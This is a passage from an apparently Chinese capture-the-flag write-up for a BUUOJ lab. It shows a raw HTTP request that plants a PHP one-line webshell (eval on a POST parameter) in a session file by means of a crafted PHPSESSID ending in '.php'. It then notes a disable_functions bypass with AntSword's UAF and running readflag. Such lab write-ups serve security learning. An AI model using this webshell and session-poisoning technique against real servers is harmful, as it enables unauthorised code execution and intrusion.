1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /home/member/search HTTP/1.1 Host: 405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81 Content-Length: 5 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://405e82e2-7362-4608-aed1-0a07ec2465bb.node4.buuoj.cn:81/home/member/search Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=bbbbbbbbbbbbbbbbbbbbbbbbbbbb.php Connection: close key=<?php eval($_POST[1]);?>
同样改包发送,这里的key就是我们一句话木马的内容: 访问/runtime/session/sess_bbbbbbbbbbbbbbbbbbbbbbbbbbbb.php
即可getshell,在phpinfo界面发现有disabled_function限制,这里用蚁剑自带的UAF去绕过即可,最后再根目录: 可以看见flag没有读的权限,但是有个readflag,运行即可获得flag
第三页结束啦!